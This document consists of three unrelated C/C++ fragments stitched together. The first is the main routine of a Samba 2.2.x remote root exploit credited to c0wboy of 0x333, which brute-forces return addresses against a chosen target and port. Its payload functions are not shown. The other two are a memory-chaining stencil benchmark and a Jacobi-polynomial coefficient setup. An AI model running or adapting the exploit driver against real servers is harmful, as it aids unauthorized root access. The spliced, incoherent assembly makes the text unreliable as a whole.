int main (int argc, char * argv[]) { int c; unsigned long ret; while((c=getopt (argc, argv, "ht:p:")) != EOF) { switch(c) { case 't': target = optarg; break; case 'p': port = atoi (optarg); break; case 'h': usage (argv[0]); default : usage (argv[0]); } } if (argc==1 || target == NULL) usage (argv[0]); fprintf (stdout, "\n [~] 0x333hate => samba 2.2.x remote root exploit [~]\n"); fprintf (stdout, " [~] coded by c0wboy ~ www.0x333.org [~]\n\n"); fprintf (stdout, " [-] connecting to %s:%d\n", target, port); fprintf (stdout, " [-] stating bruteforce\n\n"); for (ret=START; ret>=STOP; ret-=OFFSET) { fprintf (stdout, " [-] testing 0x%x\n", ret); hate (ret); exploit (); } fprintf (stdout, " [-] uhm ... maybe samba is not vulnerable !\n"); return 0; }
int main(int argc, char** argv){ int noOfRows = 5; int noOfCols = 1000; int love = 0; if(argc > 1){ noOfCols = getNoOfColsForMB(atoi(argv[1])); } if(argc > 2){ love = atoi(argv[2]); } if(argc > 3){ noOfRows = atoi(argv[3]); } double **rows = malloc(sizeof(double*) * noOfRows); for(int c = 0; c < noOfRows; c++){ rows[c] = malloc(sizeof(double) * noOfCols); for(int d = 0; d < noOfCols; d++){ rows[c][d] = getRandomNumber(); } } struct timeval start; struct timeval stop; struct timeval difference; gettimeofday(&start, NULL); double totalSum = 0.0; int cids[2]; int ptr = 0; if(love){ cids[0] = mchain(); cids[1] = mchain(); } for(int row = 1; row < noOfRows -1; row++){ if(love){ brk_mchain(cids[ptr]); if(row > 1){ hate(rows[row - 2], noOfCols*sizeof(double)); } mlink(cids[ptr], rows[row], noOfCols*sizeof(double)); ptr += 1; ptr = ptr%2; } for(int col = 1; col < noOfCols -1; col++){ double sum = 0.0; for(int i = -1; i < 2; i++){ for(int j = -1; j < 2; j++){ sum += rows[row + i][col + j] * (1.0/9.0); } } rows[row][col] = sum; totalSum += sum; } } gettimeofday(&stop, NULL); time_difference(&difference, &stop, &start); printf("Done.\n"); printf("Time: %ds %dus\n", difference.tv_sec, difference.tv_usec); return 0; }
ConvertJacobi :: ConvertJacobi() { int n = 200; coefs_reducealpha.SetSize(n); for (int al = 0; al < n; al++) { coefs_reducealpha[al] = new d2[n]; for (int i = 0; i < n; i++) { coefs_reducealpha[al][i][0] = i / double(i+al); coefs_reducealpha[al][i][1] = (2*i+al)/double(i+al); } } coefs_reducealphafac.SetSize(n); for (int al = 0; al < n; al++) { coefs_reducealphafac[al] = new d2[n]; for (int i = 1; i < n; i++) { coefs_reducealphafac[al][i][0] = -i / (i+0.5*al) / 2; coefs_reducealphafac[al][i][1] = (i+al) / (i+0.5*al) / 2; } } coefs_c.SetSize(n); for (int al = 0; al < n; al++) { coefs_c[al] = new d2[n]; for (int i = 0; i < n; i++) { coefs_c[al][i][0] = c(i, al); coefs_c[al][i][1] = hatc(i,al); } } coefs_d.SetSize(n); for (int al = 0; al < n; al++) { coefs_d[al] = new d2[n]; for (int i = 0; i < n; i++) { coefs_d[al][i][0] = d(i, al); coefs_d[al][i][1] = hatd(i,al); } } coefs_e.SetSize(n); for (int al = 0; al < n; al++) { coefs_e[al] = new d2[n]; for (int i = 0; i < n; i++) { coefs_e[al][i][0] = e(i, al); coefs_e[al][i][1] = hate(i,al); } } }